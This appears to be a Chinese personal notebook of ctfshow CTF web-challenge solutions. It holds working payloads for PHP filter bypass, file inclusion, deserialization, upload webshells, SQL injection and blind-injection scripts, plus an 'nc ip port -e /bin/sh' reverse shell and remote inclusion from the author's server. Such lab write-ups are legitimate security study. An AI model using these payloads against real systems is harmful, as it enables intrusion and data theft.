ctfshow刷题记录(持续更新中)

仅供个人知识点记录

Web

赛事题

吃瓜杯

热身

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

第一个就是个弱比较,我们注意到最后的代码比较的其实是intval($num,0)是否等于4476,也就$num转化为整数后的值,所以这里我们可以使用八进制的4476也就是010574,这样就把第一个弱比较判断以及第二个确保没字母绕过去了,第三个判断的意思其实是保证strpos($num, “0”)不等于零,如果等于零问号取反后变成1就进入分支die()了。strpos($num, “0”)的意思是寻找$num第一次出现零的位置,所以只要0不在第一个出现就不为0了,这里我使用了正号,其实加空格也能绕过,增加无用字符将0放在第一位之后即可

?num=+010574

shellme

ctrl f搜索flag就找到了

shellme_Revenge

一入眼一大堆disable_function,cookie提示我们用?looklook传值,输入?looklook=1看到源码:

 <?php
error_reporting(0);
if ($_GET['looklook']){
    highlight_file(__FILE__);
}else{
    setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
        if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("fucccc hacker!!");
        }
    }
} else {

    phpinfo();
}
?> 

先跑一手正则:

<?php

for($a = 0; $a < 256; $a++){

    if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",chr($a))){

        echo chr($a)." ";

    }

}

?>
 $ ( ) + , - . / 0 1 2 3 ; < = > ? C [ ] _ { } 

经典的无字母webshell,有了+应该是用自增构造,用RCE挑战5里那个通用解就行了,这里system啥的都ban了,换成passthru执行命令:(记得burpsuite传别用hackbar)

ctf_show=$_=(_/_._)[_];$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_[_]($$_[%FA]);&_=passthru&%FA=cat /f*

新手杯

easy_eval

<?php



error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

if(isset($code)){

  $code = str_replace("?","",$code);
  eval("?>".$code);

}

过滤了?,考虑php的标记风格:

<?php ...?>
<?...?>
<%...%>
<script language="php">...</script>

payload:

POST:code=<script language="php">system("cat /f*");</script>

七夕杯

web签到

任意命令执行,但没有回显,字符数不超过7。hitcon那个题的究极简化版,一句话就搞定了:

nl /*>a  

虽然之前hitcon的题已经解释过了,这里再简单解释一下,nl是一个linux里读取文件内容的命令,/*就是根目录下的所有文件,>+fileanme来实现新建一个文件(>是覆盖,>>是追加),所以我这行命令意思就是读取根目录下所有文件并导入文件a种,然后访问6574a4b0-8acb-4f2d-a23c-45bc408ed17a.challenge.ctf.show/api/a即可拿到flag

easy_calc

<?php


if(check($code)){

    eval('$result='."$code".";");
    echo($result);    
}

function check(&$code){

    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];

    if(!isset($num1) || !isset($num2) || !isset($symbol) ){
        
        return false;
    }

    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }

    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }

    return false;
}

关键点毫无疑问是这个eval(),但是有个check函数进行了判断。我们简单分析下,首先$num1.$num2.$symbol也就是传进来的三个值拼接起来可用字符只有

" ) * + , - . / : ; \ ] } 0~9 a~z A~Z

其次是第二个pregmatch,限制了symbol里必须有

* + - / 

有eval执行代码,但是不能有(或者{,执行函数是不行了,得找一个不用括号的函数,比如include,正常的包含是:

include "data://text/plain,<?php phpinfo();?>"

但我们这里不能用括号或者<,我们可以先进行一次编码:

include "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+"

因为得满足上面分成三段的要求,我们换一种写法再拆分一下:

num1=include "data:ctfshow
symbol=/
num2=b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";
$num1$symbol$num2=include "data:ctfshow/b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";

payload:

GET:?1=system('cat /secret');die();
POST:num1=include "data:ctfshow&symbol=/&num2=b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";

注:之前确实没想到这样也能包含

easy_cmd

<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd=$_POST['cmd'];

if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
        exec(escapeshellcmd($cmd));
}
?>

nc弹shell即可

POST cmd=nc ip port -e /bin/sh

easy_sql

跟着大佬思路走一下:

查询口的代码:

public String auth(@RequestParam String username, @RequestParam String password, HttpServletRequest request){
    String message="社工库未查询到泄露记录,你的账号是安全的。";

    if(SafeUtil.sql_check(username) || SafeUtil.sql_check(password)){
        message="stop sql inject!";
        return message;
    }

    try {
        String sql = "select username,password from app_user where username ='" + username + "' and password ='" + password + "' ;";
        ResultSet resultSet = DbUtil.getInstance().query(sql);
        if (null != resultSet) {
            while (resultSet.next()) {
                message = "您的QQ账号密码已经泄露,请立即修改密码";
                break;
            }
        }
    }catch (Exception e){
        e.printStackTrace();
        message="数据查询出错";
    }
    insertQueryLog(username,password);
    return message;
}

很明显有一个sql语句,可能有sql注入,但这里有个SafeUtil.sql_check,先看看过滤:

public static boolean sql_check(String sql){

    sql = sql.toLowerCase(Locale.ROOT);
    String ban[] = {"'",
            "file",
            "information",
            "mysql",
            "from",
            "update",
            "delete",
            "select",",","union","sleep","("};
    for (String s:ban) {
        if(sql.contains(s)){
            return true;
        }
    }
    return false;
}

过滤了单引号,但是可以转义绕过,我们再来看看配置文件config.properties:

url=jdbc:mysql://127.0.0.1:3306/app?characterEncoding=utf-8&useSSL=false&&autoReconnect=true&allowMultiQueries=true&serverTimezone=UTC
db_username=root
db_password=root

这里有一句allowMultiQueries=true,而且没过率分号,所以很明显可以堆叠注入了,再看看这个insertQueryLog(username,password)

private int insertQueryLog(String username,String password){
    String sql = "insert into app_query_log(username,password) values(?,?);";
    Connection connection = DbUtil.getConnection();
    PreparedStatement preparedStatement;
    int count=0;
    try {
        connection.setAutoCommit(false);
        preparedStatement=connection.prepareStatement(sql);
        preparedStatement.setQueryTimeout(3);
        preparedStatement.setString(1,username);
        preparedStatement.setString(2,password);
        count = preparedStatement.executeUpdate();
        connection.commit();
    } catch (SQLException e) {
        LogUtil.save(username,password);
        e.printStackTrace();
    }

    return count;
}

有一句LogUtil.save(),继续跟进看看:

public class LogUtil {
    public LogUtil() {
    }

    public static void save(String username, String password) {
        FileUtil.SaveFileAs(username, password);
    }
}

继续跟进:

public static boolean SaveFileAs(String content, String path) {
    FileWriter fw = null;

    boolean var4;
    try {
        fw = new FileWriter(new File(path), false);
        if (content != null) {
            fw.write(content);
        }

        return true;
    } catch (IOException var14) {
        var14.printStackTrace();
        var4 = false;
    } finally {
        if (fw != null) {
            try {
                fw.flush();
                fw.close();
            } catch (IOException var13) {
                var13.printStackTrace();
            }
        }

    }

    return var4;
}

也就是说这里其实有一个保存文件的功能,如果我们让上面的insertQueryLog()报错,就会进入catch (SQLException e) ,然后通过LogUtil.save()保存文件,并且username为内容,password为文件名,但这里过滤了(,我们必须既做到不用括号sql注入,还得让sql语句报错,回到那句sql语句:

String sql = "insert into app_query_log(username,password) values(?,?);";

三个报错方法:

  • 修改app_query_log表,让username为主键,重复插入时会报异常。
  • 删除app_query_log表,找不到要插入的表,报异常
  • 锁表

我们这里利用锁表进行操作,禁止更新的情况下,插入会报异常

username=a\&password=;flush tables with read lock;%23

写入jsp文件,由于过滤了括号,这时候只能使用jstl标签来执行,完美避开了括号:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/sql" prefix="sql"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%>
<%@ page isELIgnored="false" %>
<sql:setDataSource var="test" driver="${param.driver}"
        url="${param.url}" user="root" password="root" />
   <sql:query dataSource="${test}" var="result">
        ${param.sql}
    </sql:query>

<table border="1" width="100%">
        <tr>
            <th>ctfshow</th>
        </tr>
        <c:forEach var="row" items="${result.rows}">
            <tr>
                <td><c:out value="${row.t}" /></td>
            </tr>
        </c:forEach>
    </table>
username=%3C%25%40%20page%20language%3D%22java%22%20contentType%3D%22text%2Fhtml%3B%20charset%3DUTF-8%22%0A%20%20%20%20pageEncoding%3D%22UTF-8%22%25%3E%0A%3C%25%40%20taglib%20uri%3D%22http%3A%2F%2Fjava.sun.com%2Fjsp%2Fjstl%2Fsql%22%20prefix%3D%22sql%22%25%3E%0A%3C%25%40%20taglib%20uri%3D%22http%3A%2F%2Fjava.sun.com%2Fjsp%2Fjstl%2Fcore%22%20prefix%3D%22c%22%25%3E%0A%3C%25%40%20page%20isELIgnored%3D%22false%22%20%25%3E%0A%3Csql%3AsetDataSource%20var%3D%22test%22%20driver%3D%22%24%7Bparam.driver%7D%22%0A%20%20%20%20%20%20%20%20url%3D%22%24%7Bparam.url%7D%22%20user%3D%22root%22%20password%3D%22root%22%20%2F%3E%0A%20%20%20%3Csql%3Aquery%20dataSource%3D%22%24%7Btest%7D%22%20var%3D%22result%22%3E%0A%20%20%20%20%20%20%20%20%24%7Bparam.sql%7D%0A%20%20%20%20%3C%2Fsql%3Aquery%3E%0A%0A%0A%0A%3Ctable%20border%3D%221%22%20width%3D%22100%25%22%3E%0A%20%20%20%20%20%20%20%20%3Ctr%3E%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cth%3Et%3C%2Fth%3E%0A%20%20%20%20%20%20%20%20%3C%2Ftr%3E%0A%20%20%20%20%20%20%20%20%3Cc%3AforEach%20var%3D%22row%22%20items%3D%22%24%7Bresult.rows%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Ctr%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ctd%3E%3Cc%3Aout%20value%3D%22%24%7Brow.t%7D%22%20%2F%3E%3C%2Ftd%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Ftr%3E%0A%20%20%20%20%20%20%20%20%3C%2Fc%3AforEach%3E%0A%20%20%20%20%3C%2Ftable%3E&password=../webapps/ROOT/1.jsp

先生成小马

再查询flag即可

1.jsp?driver=com.mysql.jdbc.Driver&url=jdbc:mysql://localhost:3306/app?characterEncoding=utf-8&useSSL=false&&autoReconnect=true&allowMultiQueries=true&serverTimezone=UTC&sql=select f1ag as t from app_flag_xxoo_non0 union select 1;

单身杯

web签到

<?php
error_reporting(0);
highlight_file(__FILE__);

$file = $_POST['file'];

if(isset($file)){
    if(strrev($file)==$file){
        include $file;
    }

}

strrev()是翻转函数,也就是说如果翻转后的$file==$file,它就包含$file,因此想要执行这个必须整一个反转后一样的字符串,用data传马即可

POST:file=data://text/plain,<?php eval($_GET['cmd']);?>>?;)]'dmc'[TEG_$(lave php?<,nialp/txet//:atad
url/?cmd=system("cat /*");

卷王杯

easy unserialize

<?php
include("./HappyYear.php");

class one {
    public $object;

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    protected $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

同红岩杯的反序列化题

<?php
class one {
    public $object;
    public $year_parm=array(0=>"Happy_func");
}
 
 
class second {
    public $filename;
}
 
 
class third {
    private $string;
 
 
     public function __construct($string) {
    $this->string = $string;
}
}}
 
 
$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(['string'=>[new one(),'MeMeMe']]);
 
$n=null;
$payload=array($a,$n);
 
echo urlencode(serialize($payload));

i:1改成i:0:

?ctfshow=a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7D

月饼杯

web签到

<?php
//Author:H3h3QAQ
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET["YBB"])) {
    if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) {
        echo "小伙子不错嘛!!flag给你了:" . $flag;
    } else {
        echo "偶吼,带黑阔被窝抓到了!!!!";
    }
}

因为这里是弱比较,所以其实只要我们找个字符串前后加密前缀都一样就行了,比如0e215962017,它md5后是0e291242476940776845150308577824,二者前缀都是0e自然弱比较成功,拿到flag了

?YBB=0e215962017

web入门·信息搜集

web1

f12查看源码即可

web2

f12

web3

返回包请求头里

web4

/robots.txt->/flagishere.txt

web5

phps文件泄露,访问/index.phps

web6

/www.zip -> /fl000g.txt

web7

git泄露,访问/git/

web8

svn泄露,访问/.svn/

web9

vim缓存文件.swp,访问index.php.swp

web10

看cookie

web11

查看flag.ctfshow.com的txt解析记录,可以用http://www.wetools.com/dns/bdeccb25bc9237a4ce71db80a2655594

web12

访问robots.txt得到/admin/即后台登录路径,主页最下面那个帮助电话就是admin密码,登录即可

web13

翻到最下面可以看到INFORMATION那一列可以下载document,下载后里面有默认账号和密码admin和admin1103以及后台路径/system1103/login.php,登陆即可

web14

访问url/editor/可以看到一个图标长得像回形针的插入文件功能,打开后选择文件空间即可遍历文件。最后访问url/nothinghere/fl000g.txt即可拿到flag

web15

网页最下面有个qq邮箱,查出来西安的,访问/admin,使用重置密码功能,密保问题是居住地,填西安后把密码重置为admin7789,然后登录即可

web16

考察PHP探针php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息。 url后缀名添加/tz.php 版本是雅黑PHP探针,然后查看phpinfo搜索flag

web17

备份的sql文件,访问/backup.sql

web18

f12可以看到分数到达100后弹窗的字符串,把它们Unicode解码得到:你赢了,去幺幺零点皮爱吃皮看看,访问/110.php即可

web19

f12看源码:


    error_reporting(0);
    $flag="fakeflag"
    $u = $_POST['username'];
    $p = $_POST['pazzword'];
    if(isset($u) && isset($p)){
        if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){
            echo $flag;
        }
}

所以post提交一下就行了:

username=admin&pazzword=a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04

web20

mdb文件是早期asp+access构架的数据库文件 直接查看url路径添加/db/db.mdb 下载文件通过txt打开或者通过EasyAccess.exe打开搜索flag flag{ctfshow_old_database}

web入门·文件包含

web78

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
} 
?file=php://filter/convert.base64-encode/resource=flag.php

web79

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

换成data协议即可,就是base64后的<?php @eval($_POST[1]);

?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs=
POST 1=system("cat *f*");

web80

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

经典的包含日志

web81

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

同上

web82-86

<?php 
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

条件竞争包含session,利用session.upload_progress将恶意语句写入session文件,从而包含session文件

import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080/"
url2='http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080?file=/tmp/sess_'+sess
data1={
	'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
	'1':'system("cat f*");'
}
file={
	'file':'abc'
}
cookies={
	'PHPSESSID': sess
}
def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.post(url2,data=data2)
		if 'ctfshow{' in r.text:
			print(r.text)
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

web87

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
} 

死亡die,之前看别人博客里提到过,具体可以看看p神的博客:https://www.leavesongs.com/PENETRATION/php-filter-magic.html,借用一下别人的解释:

GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2561%252e%2570%2568%2570
// file=php://filter/write=convert.base64-decode/resource=a.php
POST
content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
其中PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==是"<?php eval($_POST[1]);"的base64编码。前面的11是为了填充"<?php die('大佬别秀了');?>"
base64 4位4位解码,其中"<?php die('大佬别秀了');?>"解码的内容其实只有phpdie,所以需要再填充两位。
//content=<?php eval($_POST[1]);

或者用rot13

GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2562%252e%2570%2568%2570
//file=php://filter/read=string.rot13/resource=b.php
POST
content=<?cuc riny($_CBFG[1]);
//content=<?php eval($_POST[1]);

web88

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

没过滤:,直接data协议

?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs
POST 1=system("cat *f*");

web117

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents); 

过滤了base64和rot13,我们可以换个冷门点的

payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php 
post:contents=?<hp pvela$(P_SO[T]1;)>?

web入门·文件上传

web151

直接传即可

web152

直接传即可,同上

web153

改成1.pHp可以上传但是直接访问显示405,换个其他方式,用.htaccess把png以php方式执行这里也显示405,看来是upload这个目录我们没权限,所以只能想办法让其他网页index.php包含我们的木马代码,这样就能执行命令了,先上传个含木马代码的图片:

然后上传内容为auto_append_file=/var/www/html/upload/1.png的.user.ini文件让所有php页面包含我们的恶意代码:

然后执行代码即可

web154

上传文件后限制文件内容不合规,过滤了php这个字符,我们可以用短标签来构造恶意代码,比如:

<?=eval($_POST[cmd]);?>

然后上传.user.ini包含该文件即可:

auto_append_file=/var/www/html/upload/1.png

web155

同上

web156

过滤了[],用{}代替即可:

<?=eval($_POST{cmd});?>

其他同上

web157

多过滤了分号,改一下即可:

<?=`tac ../f*`?>

web158

同上

web159

同上

web160

本题多过滤了括号和反引号,而且还过滤了log,我们可以联想到日志包含,然后用字符串拼接构造log:

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

然后上传.user.ini包含该文件即可:

auto_append_file=/var/www/html/upload/hack.png

然后在UA头改为想执行的命令访问主页,最后访问/upload,看看log里命令执行结果即可即可

<?php system('tac ../f*');?>

web161

在160的基础上增加了对图片头的验证即可,即GIF89A

GIF89A
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

上传.user.ini包含文件

GIF89A
auto_append_file="/var/www/html/upload/1.png"

web162

远程文件包含。

首先在自己的vps上确保allow_url_include=On。然后在自己vps的主页上放一句话木马(确保直接curl ip可以访问到,宝塔的话可以直接在网站-修改默认页里修改)。

然后ip转数字bypass:https://www.bejson.com/convert/ip2int/

然后上传.user.ini包含远程网页即可

web164

png图片二次渲染绕过https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

原理:

原理

在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
echo "执行成功!";

?>

执行完这段代码后我们会修改2.png的数据,确保它在不改变自身png格式的情况下多一段恶意代码:

我们可以正常的上传这个图片,然后在图片查看的位置执行我们的代码:

然后ctrl s保存图片即可在源数据找到代码执行结果

原理应该是使用imagecreatefrompng()创建一块画布,并从 PNG 文件或 URL 地址载入一副图像的同时执行了png里的那段恶意代码。

web入门·sql注入

web171

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

sqlmap一把梭(sql.txt是保存的请求包):

sqlmap -r sql.txt -p id --dump --time-sec 1 --tamper=space2hash

或者万能密码:

1'or 1=1%23

web172

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

用万能密码没找到,去其他表看看

1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()%23
1' union select password,2,3 from ctfshow_user2%23

web173

$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

不能直接返回flag,把它处理一下即可,四种方法

hex

0' union select 1,hex(password),3 from ctfshow_user3 %23

base64

0' union select 1,to_base64(password),3 from ctfshow_user3 %23

翻转

0' union select reverse(password),2,3 from ctfshow_user3%23

截断

0' union select substr(password,2),2,3 from ctfshow_user3%23

web174

$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

 if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
    

也就是查询值不准返回数字,把数字转换成字母先查询出值然后转化回来即可

1'union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','nba'),'2','nbb'),'3','nbc'),'4','nbd'),'5','nbe'),'6','nbf'),'7','nbg'),'8','nbh'),'9','nbi'),'0','nbj'),'a' from ctfshow_user4 where username='flag'--+
nb='nbfnbcnbgnbdnbfnbfnbgnbcnbfnbhnbfFnbgnbgnbgBnbcnbhnbfnbbnbcnbcnbcnbenbfnbbnbfnbenbfnbcnbfnbanbbDnbcnbcnbcnbgnbcnbgnbfnbdnbbDnbcnbdnbcnbbnbfnbfnbcnbhnbbDnbcnbhnbfnbanbfnbdnbcnbdnbbDnbcnbfnbfnbcnbfnbanbfnbbnbcnbgnbcnbhnbcnbenbfnbfnbcnbcnbcnbdnbfnbanbfnbbnbgD'

nb=nb.replace('nba','1').replace('nbb','2').replace('nbc','3').replace('nbd','4').replace('nbe','5').replace('nbf','6').replace('nbg','7').replace('nbh','8').replace('nbi','9').replace('nbj','0')

flag = bytes.fromhex(nb).decode("ascii")

print(flag)

web175

$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

必须非ASCII字符才能获得返回值,0-127的字符都没啦。

做法一:

把数据保存到1.txt里然后访问即可(写马似乎也行)

1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

做法二:

盲注

import requests
from time import time
 
url='http://e9a0003b-c5a4-47a5-af60-38145f1bfbf2.challenge.ctf.show/api/v5.php'
 
flag=''
 
for i in range(1,100):
    length=len(flag)
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break
 
        payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) -- -"%(i,j)
        start_time=time()
        r=requests.get(url=url+payload).text
        end_time=time()
        if end_time-start_time>0.48:
            max=j
        else :
            min=j

web176

有waf但不知道waf是啥,fuzz了一下,是过滤了小写select,用大写绕过即可(如果是替换为空可以用双写,这里好像不是)

0' union SELECT password,2,3 from ctfshow_user%23

web177

过滤了空格,几个payload都能替换

/**/替换

0'/**/union/**/SELECT/**/password,2,3/**/from/**/ctfshow_user%23

%0C替换

0'%0Cunion%0CSELECT%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23

还有%0a、%0b、%0c、%0d、%09(tab键)、%a0等等

web178

过滤了/**/,从上面找个就行了

0'%0Cunion%0CSELECT%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23

web179

过滤了%0a %09,还是用%0C即可

0'%0Cunion%0CSELECT%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23

web180

过滤了注释符#--,可以用’1’=’1来闭合后边

'union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1

web181

直接让他显示flag用户的信息

id=0'||username='flag

web182

过滤了flag,正则匹配一手即可

id=0'||(username)regexp'f

web183

$sql = "select count(pass) from ".$_POST['tableName'].";";
function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

空格过滤了用括号代替,等号过滤了可以用like或者regexp,但有个缺点就是不区分大小写,我们在前面加个binary就行了,偷一手羽师傅的脚本:

#author:yu22x
import requests
import string
url="http://0be2b54b-f4b2-4843-a369-5878015eeca6.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"{_-}"
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    data={
    'tableName':f'(ctfshow_user)where(pass)regexp("^ctfshow{flag+j}")'
    }
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      break

